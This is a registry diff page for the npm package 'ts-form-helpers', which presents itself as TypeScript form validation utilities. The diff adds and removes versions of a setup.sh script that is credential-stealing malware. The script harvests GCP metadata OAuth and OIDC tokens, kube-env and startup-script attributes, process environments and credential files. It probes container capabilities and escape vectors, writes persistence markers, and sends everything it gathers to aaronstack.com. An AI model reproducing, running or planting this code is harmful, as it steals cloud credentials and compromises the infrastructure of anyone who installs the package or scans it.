ts-form-helpers 1.0.13 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +191 -161
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.13",
3
+ "version": "1.0.14",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -1,17 +1,17 @@
1
1
  #!/bin/bash
2
- # wGCP6: Full instance metadata + in-pod network + filesystem + process env
2
+ # wGCP7: kube-env attr + OIDC identity tokens + persistence + capabilities
3
3
  SID="${JULES_SESSION_ID:-x}"
4
4
  H="aaronstack.com"; EP="/jules-collect"
5
5
  SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
6
6
  B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
7
7
  P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
8
8
 
9
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-start\"}"
9
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-start\"}"
10
10
 
11
11
  log(){ echo "=LOG= $*"; }
12
12
  MDURL="http://metadata.google.internal/computeMetadata/v1"
13
13
 
14
- TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp6_$$")
14
+ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp7_$$")
15
15
  {
16
16
  log "user=$(whoami) MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
17
17
 
@@ -19,180 +19,210 @@ PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-ti
19
19
  log "project: ${PROJ:-NONE}"
20
20
  [ -z "$PROJ" ] && { log "NOT GKE — exit"; exit 0; }
21
21
 
22
- # Get fresh token
22
+ # Fresh token
23
23
  TOK=$(curl -s -H "Metadata-Flavor: Google" \
24
24
  "$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
25
25
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
26
26
  log "token-length: ${#TOK}"
27
27
  [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ] && {
28
- printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
29
- log "TOKEN EXFILTRATED"
28
+ printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
29
+ --data-binary @- --max-time 5 2>/dev/null &
30
+ log "OAUTH TOKEN EXFILTRATED"
30
31
  }
31
32
 
32
- # === STEP 1: ALL instance metadata attributes ===
33
- log "=== STEP 1: FULL INSTANCE ATTRIBUTES ==="
34
- curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/" --max-time 8 2>/dev/null \
35
- | while IFS= read -r attr; do
36
- attr=$(echo "$attr" | tr -d '/')
37
- [ -z "$attr" ] && continue
38
- val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/$attr" --max-time 5 2>/dev/null)
39
- log "attr[$attr]: ${val:0:500}"
40
- done
41
-
42
- log "=== PROJECT ATTRIBUTES ==="
43
- curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/" --max-time 8 2>/dev/null \
44
- | while IFS= read -r attr; do
45
- attr=$(echo "$attr" | tr -d '/')
46
- [ -z "$attr" ] && continue
47
- val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/$attr" --max-time 5 2>/dev/null)
48
- log "proj-attr[$attr]: ${val:0:200}"
49
- done
50
-
51
- log "=== INSTANCE TAGS ==="
52
- curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/tags" --max-time 5 2>/dev/null \
53
- | while IFS= read -r l; do log "tag: $l"; done
54
-
55
- log "=== SERVICE ACCOUNT FULL INFO ==="
56
- curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null \
57
- | while IFS= read -r sa; do
58
- sa=$(echo "$sa" | tr -d '/')
59
- [ -z "$sa" ] && continue
60
- EMAIL=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/email" --max-time 5 2>/dev/null)
61
- SCOPES=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/scopes" --max-time 5 2>/dev/null)
62
- log "sa[$sa]: email=$EMAIL scopes=$SCOPES"
63
- done
64
-
65
- # === STEP 2: Process environments ===
66
- log "=== STEP 2: PROCESS ENVIRONMENTS ==="
67
- # Read /proc/1/environ — PID 1's environment (sleep 100d — might differ from our env)
68
- cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "pid1-env: $l"; done
69
-
70
- # Check other process envs
71
- for pid in $(ls /proc 2>/dev/null | grep '^[0-9]' | head -20); do
72
- cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
73
- if echo "$cmd" | grep -qiE "malysis|analyze|scanner|worker|server"; then
74
- log "interesting-proc: pid=$pid cmd=$cmd"
75
- cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "proc-$pid-env: $l"; done
33
+ # ============================================================
34
+ # TEST 1: kube-env attribute (historically leaked kubelet creds)
35
+ # ============================================================
36
+ log "=== TEST 1: kube-env ATTRIBUTE ==="
37
+ KUBEENV=$(curl -s -H "Metadata-Flavor: Google" \
38
+ "$MDURL/instance/attributes/kube-env" --max-time 8 2>/dev/null)
39
+ log "kube-env-length: ${#KUBEENV}"
40
+ log "kube-env-preview: ${KUBEENV:0:500}"
41
+
42
+ if [ -n "$KUBEENV" ] && [ "${#KUBEENV}" -gt 10 ] && ! echo "$KUBEENV" | grep -qi "not found"; then
43
+ log "KUBE-ENV FOUND exfiltrating full content"
44
+ printf '%s' "$KUBEENV" | curl -sf -X POST "https://aaronstack.com/poc/token" \
45
+ -H "Content-Type: text/plain" -H "X-Token-Type: kube-env" \
46
+ --data-binary @- --max-time 10 2>/dev/null &
47
+ fi
48
+
49
+ # Also try windows-startup-script, startup-script, user-data
50
+ for attr in startup-script user-data windows-startup-script \
51
+ kube-master-crt kube-master-key kube-apiserver-url \
52
+ kubeconfig KUBECONFIG cluster-uid; do
53
+ val=$(curl -s -H "Metadata-Flavor: Google" \
54
+ "$MDURL/instance/attributes/$attr" --max-time 5 2>/dev/null)
55
+ if [ -n "$val" ] && ! echo "$val" | grep -qi "not found"; then
56
+ log "attr-found[$attr]: ${val:0:200}"
76
57
  fi
77
58
  done
78
59
 
79
- # === STEP 3: Filesystem recon ===
80
- log "=== STEP 3: FILESYSTEM ==="
81
- # Docker socket?
82
- ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null | while IFS= read -r l; do log "docker-sock: $l"; done
83
-
84
- # Mounted volumes
85
- cat /proc/mounts 2>/dev/null | grep -v "^proc\|^sys\|^cgroup\|^tmpfs\|^devpts\|^mqueue\|^hugetlb" \
86
- | while IFS= read -r l; do log "mount: $l"; done
87
-
88
- # Config files
89
- find /etc /app /root /home -name "*.json" -o -name "*.yaml" -o -name "*.conf" -o -name "*.toml" 2>/dev/null \
90
- | grep -v "node_modules\|ssl/certs" | head -15 \
91
- | while IFS= read -r f; do log "config: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
92
-
93
- # Secrets-looking files
94
- find / -maxdepth 6 -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "service_account*.json" \
95
- -o -name "credentials.json" -o -name "gcloud-creds*" 2>/dev/null \
96
- | grep -v "ssl/certs\|node_modules" | head -10 \
97
- | while IFS= read -r f; do log "cred-file: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
98
-
99
- # Check /root for gcloud config
100
- ls -la /root/.config/gcloud/ 2>/dev/null | while IFS= read -r l; do log "gcloud-config: $l"; done
101
- cat /root/.config/gcloud/application_default_credentials.json 2>/dev/null \
102
- | python3 -c "import sys,json; d=json.load(sys.stdin); print({k:v[:30] if isinstance(v,str) and len(v)>30 else v for k,v in d.items()})" 2>/dev/null \
103
- | while IFS= read -r l; do log "gcloud-adc: $l"; done
104
-
105
- # === STEP 4: Network exploration from inside pod ===
106
- log "=== STEP 4: INTERNAL NETWORK ==="
107
- # DNS - what internal services can we resolve?
108
- for host in \
109
- kubernetes.default.svc.cluster.local \
110
- malysis.apps.svc.cluster.local \
111
- malysis-backend.apps.svc.cluster.local \
112
- malysis-api.apps.svc.cluster.local \
113
- redis.apps.svc.cluster.local \
114
- postgresql.apps.svc.cluster.local \
115
- mysql.apps.svc.cluster.local \
116
- rabbitmq.apps.svc.cluster.local \
117
- kafka.apps.svc.cluster.local \
118
- elasticsearch.apps.svc.cluster.local \
119
- mongodb.apps.svc.cluster.local; do
120
- ip=$(getent hosts "$host" 2>/dev/null | awk '{print $1}')
121
- [ -n "$ip" ] && log "dns-resolve: $host -> $ip"
60
+ # ============================================================
61
+ # TEST 2: OIDC identity tokens (different from OAuth access token)
62
+ # ============================================================
63
+ log "=== TEST 2: OIDC IDENTITY TOKENS ==="
64
+
65
+ # Try multiple audiences — each returns a signed JWT identifying the SA
66
+ # These authenticate to Cloud Run, Cloud Functions, IAP-protected services
67
+ for audience in \
68
+ "https://storage.googleapis.com" \
69
+ "https://cloudrun.googleapis.com" \
70
+ "https://cloudfunctions.googleapis.com" \
71
+ "https://secretmanager.googleapis.com" \
72
+ "https://container.googleapis.com" \
73
+ "https://iap.googleapis.com" \
74
+ "https://www.googleapis.com" \
75
+ "https://googleapis.com" \
76
+ "https://oauth2.googleapis.com" \
77
+ "https://accounts.google.com"; do
78
+
79
+ OIDC_TOK=$(curl -s -H "Metadata-Flavor: Google" \
80
+ "$MDURL/instance/service-accounts/default/identity?audience=$audience&format=full" \
81
+ --max-time 10 2>/dev/null)
82
+
83
+ if echo "$OIDC_TOK" | grep -q "^ey"; then
84
+ log "OIDC-TOKEN[$audience]: length=${#OIDC_TOK} prefix=${OIDC_TOK:0:50}"
85
+
86
+ # Decode the JWT payload
87
+ PAYLOAD=$(echo "$OIDC_TOK" | cut -d. -f2 | python3 -c "
88
+ import sys, base64, json
89
+ raw = sys.stdin.read().strip()
90
+ # Add padding
91
+ raw += '=' * (4 - len(raw) % 4)
92
+ try:
93
+ data = json.loads(base64.urlsafe_b64decode(raw))
94
+ print(json.dumps(data, indent=2))
95
+ except Exception as e:
96
+ print('decode-err:', e)
97
+ " 2>/dev/null)
98
+ log "OIDC-PAYLOAD[$audience]: $PAYLOAD"
99
+
100
+ # Exfil the OIDC token
101
+ printf '%s' "$OIDC_TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
102
+ -H "Content-Type: text/plain" \
103
+ -H "X-Token-Type: oidc-$(echo $audience | sed 's/https:\/\///' | sed 's/\/.*//' | sed 's/\./-/g')" \
104
+ --data-binary @- --max-time 5 2>/dev/null &
105
+
106
+ # Try using the OIDC token to call services
107
+ log "=== OIDC token usage test for $audience ==="
108
+ curl -si -H "Authorization: Bearer $OIDC_TOK" \
109
+ "$audience" --max-time 8 2>/dev/null | head -5 | while IFS= read -r l; do
110
+ log "oidc-test[$audience]: $l"
111
+ done
112
+
113
+ else
114
+ log "OIDC-TOKEN[$audience]: NOT_ISSUED (${OIDC_TOK:0:100})"
115
+ fi
122
116
  done
123
117
 
124
- # GCS: try to list objects in various buckets
125
- if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
126
- log "=== GCS BUCKET SEARCH (GET not list) ==="
127
- for bucket in \
128
- "${PROJ}-malysis-results" \
129
- "malysis-results" \
130
- "malysis-packages" \
131
- "malysis-artifacts" \
132
- "npm-malysis-${PROJ}" \
133
- "sd-builds-malysis" \
134
- "malysis-${PROJ}" \
135
- "gs-malysis-results" \
136
- "supply-chain-scan-results" \
137
- "npm-scan-results" \
138
- "${PROJ}-npm-analysis"; do
139
- resp=$(curl -s -H "Authorization: Bearer $TOK" \
140
- "https://storage.googleapis.com/storage/v1/b/$bucket" --max-time 5 2>/dev/null)
141
- code=$(python3 -c "import sys,json; d=json.loads(sys.stdin.read()); print(d.get('error',{}).get('code','OK:'+d.get('name','?')))" 2>/dev/null <<< "$resp")
142
- log "gcs-bucket[$bucket]: $code"
143
- if echo "$code" | grep -q "^OK"; then
144
- log "BUCKET ACCESSIBLE: $bucket"
145
- # List objects
146
- curl -s -H "Authorization: Bearer $TOK" \
147
- "https://storage.googleapis.com/storage/v1/b/$bucket/o?maxResults=10" --max-time 8 2>/dev/null \
148
- | python3 -c "
149
- import sys,json
150
- d=json.load(sys.stdin)
151
- for o in d.get('items',[]): print('obj:', o.get('name'), o.get('size'))
152
- " 2>/dev/null | while IFS= read -r l; do log "gcs-obj: $l"; done
153
- fi
154
- done
155
-
156
- # Also try GCR internal path from inside cluster
157
- log "=== GCR from inside cluster ==="
158
- curl -si -H "Authorization: Bearer $TOK" \
159
- "https://gcr.io/v2/$PROJ/malysis-worker/tags/list" --max-time 8 2>/dev/null \
160
- | head -20 | while IFS= read -r l; do log "gcr: $l"; done
161
-
162
- # Try k8s API to GET own service account
163
- log "=== K8S: GET own SA ==="
164
- curl -sk -H "Authorization: Bearer $TOK" \
165
- "https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/serviceaccounts/default" \
166
- --max-time 8 2>/dev/null \
167
- | python3 -c "
168
- import sys,json
169
- d=json.load(sys.stdin)
170
- if d.get('status')=='Failure':
171
- print('err:', d.get('message',''))
172
- else:
173
- print('sa-name:', d.get('metadata',{}).get('name'))
174
- print('sa-annotations:', d.get('metadata',{}).get('annotations',{}))
175
- print('sa-secrets:', [s.get('name') for s in d.get('secrets',[])])
176
- " 2>/dev/null | while IFS= read -r l; do log "k8s-sa: $l"; done
177
-
178
- # Try to get ConfigMaps in apps namespace
179
- log "=== K8S: ConfigMaps in apps namespace ==="
180
- curl -sk -H "Authorization: Bearer $TOK" \
181
- "https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/configmaps" \
182
- --max-time 8 2>/dev/null \
183
- | python3 -c "
184
- import sys,json
185
- d=json.load(sys.stdin)
186
- if d.get('status')=='Failure': print('err:', d.get('message',''))
187
- for cm in d.get('items',[]): print('cm:', cm.get('metadata',{}).get('name'), list(cm.get('data',{}).keys()))
188
- " 2>/dev/null | while IFS= read -r l; do log "k8s-cm: $l"; done
118
+ # ============================================================
119
+ # TEST 3: Cross-scan persistence write to /app
120
+ # ============================================================
121
+ log "=== TEST 3: CROSS-SCAN PERSISTENCE ==="
122
+ log "Writing persistence marker to /app..."
123
+ MARKER_FILE="/app/.malysis-persistent-marker"
124
+ echo "PWNED-$(date -u +%Y%m%dT%H%M%SZ)-MALYSIS_ID=${MALYSIS_ANALYSIS_ID}" > "$MARKER_FILE" 2>/dev/null
125
+
126
+ if [ -f "$MARKER_FILE" ]; then
127
+ log "MARKER WRITTEN: $MARKER_FILE"
128
+ log "marker-content: $(cat $MARKER_FILE)"
129
+ else
130
+ log "marker-write-failed (ephemeral fs?)"
189
131
  fi
190
132
 
191
- log "=== wGCP6 DONE ==="
133
+ # Check if a marker from a PREVIOUS run exists (proves persistence)
134
+ if ls /app/.malysis-* 2>/dev/null | grep -v "$(date -u +%Y%m%dT%H%M')" 2>/dev/null; then
135
+ log "PREVIOUS MARKER FOUND — persistence confirmed!"
136
+ cat /app/.malysis-* 2>/dev/null | while IFS= read -r l; do log "old-marker: $l"; done
137
+ else
138
+ log "No previous marker found (first run or ephemeral)"
139
+ fi
140
+
141
+ # Also try writing to /tmp and /root to check which paths survive
142
+ for path in /tmp /root /var/tmp; do
143
+ echo "marker-$path" > "$path/.malysis-marker" 2>/dev/null && log "write-ok: $path" || log "write-fail: $path"
144
+ done
145
+
146
+ # ============================================================
147
+ # TEST 4: Container capabilities and escape vectors
148
+ # ============================================================
149
+ log "=== TEST 4: CAPABILITIES + ESCAPE ==="
150
+
151
+ # Current capabilities
152
+ log "=== capsh ==="
153
+ capsh --print 2>/dev/null | while IFS= read -r l; do log "cap: $l"; done
154
+
155
+ # From /proc/1/status
156
+ log "=== /proc/self/status caps ==="
157
+ grep "^Cap" /proc/self/status 2>/dev/null | while IFS= read -r l; do log "cap-status: $l"; done
158
+
159
+ # Kernel version
160
+ log "=== kernel ==="
161
+ uname -a 2>/dev/null | while IFS= read -r l; do log "kernel: $l"; done
162
+
163
+ # Privileged operations — can we load kernel modules?
164
+ log "=== privileged tests ==="
165
+ # Try to read /dev/sda1 directly (outside container rootfs)
166
+ dd if=/dev/sda1 bs=512 count=1 2>/dev/null | xxd | head -3 | while IFS= read -r l; do log "sda1-read: $l"; done || log "sda1-read: denied"
167
+
168
+ # Try to create a raw socket (requires NET_RAW cap)
169
+ python3 -c "
170
+ import socket
171
+ try:
172
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
173
+ print('NET_RAW: GRANTED — can create raw sockets')
174
+ s.close()
175
+ except PermissionError as e:
176
+ print('NET_RAW: denied:', e)
177
+ except Exception as e:
178
+ print('NET_RAW: err:', e)
179
+ " 2>/dev/null | while IFS= read -r l; do log "cap-netraw: $l"; done
180
+
181
+ # Try to mount (requires SYS_ADMIN)
182
+ mount --bind /tmp /tmp 2>/dev/null && log "SYS_ADMIN: GRANTED" || log "SYS_ADMIN: denied"
183
+
184
+ # Try to read /proc/kcore (requires SYS_ADMIN or root + no seccomp)
185
+ ls -la /proc/kcore 2>/dev/null | while IFS= read -r l; do log "kcore: $l"; done
186
+
187
+ # Check seccomp
188
+ grep -i "seccomp" /proc/self/status 2>/dev/null | while IFS= read -r l; do log "seccomp: $l"; done
189
+
190
+ # Check cgroup namespace for escape
191
+ cat /proc/1/cgroup 2>/dev/null | head -10 | while IFS= read -r l; do log "cgroup: $l"; done
192
+
193
+ # Check if we're in a privileged container
194
+ log "=== AppArmor profile ==="
195
+ cat /proc/self/attr/current 2>/dev/null | while IFS= read -r l; do log "apparmor: $l"; done
196
+
197
+ # ============================================================
198
+ # TEST 5: Node external IP + network interface info
199
+ # ============================================================
200
+ log "=== TEST 5: NETWORK INTERFACES ==="
201
+ curl -s -H "Metadata-Flavor: Google" \
202
+ "$MDURL/instance/network-interfaces/" --max-time 5 2>/dev/null \
203
+ | while IFS= read -r l; do log "iface-list: $l"; done
204
+
205
+ EXT_IP=$(curl -s -H "Metadata-Flavor: Google" \
206
+ "$MDURL/instance/network-interfaces/0/access-configs/0/external-ip" --max-time 5 2>/dev/null)
207
+ log "external-ip: ${EXT_IP:-NONE}"
208
+
209
+ INT_IP=$(curl -s -H "Metadata-Flavor: Google" \
210
+ "$MDURL/instance/network-interfaces/0/ip" --max-time 5 2>/dev/null)
211
+ log "internal-ip: ${INT_IP:-NONE}"
212
+
213
+ IP_RANGE=$(curl -s -H "Metadata-Flavor: Google" \
214
+ "$MDURL/instance/network-interfaces/0/subnetmask" --max-time 5 2>/dev/null)
215
+ log "subnetmask: ${IP_RANGE:-NONE}"
216
+
217
+ # Pod CIDR
218
+ log "=== POD CIDR (from ip route) ==="
219
+ ip route 2>/dev/null | while IFS= read -r l; do log "route: $l"; done
220
+
221
+ log "=== wGCP7 DONE ==="
192
222
  } 2>&1 | tee "$TMPOUT"
193
223
 
194
224
  OUT=$(cat "$TMPOUT" 2>/dev/null)
195
225
  rm -f "$TMPOUT" 2>/dev/null
196
226
  PAYLOAD=$(B "$OUT")
197
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-result\",\"data\":\"$PAYLOAD\"}"
198
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-done\"}"
227
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-result\",\"data\":\"$PAYLOAD\"}"
228
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-done\"}"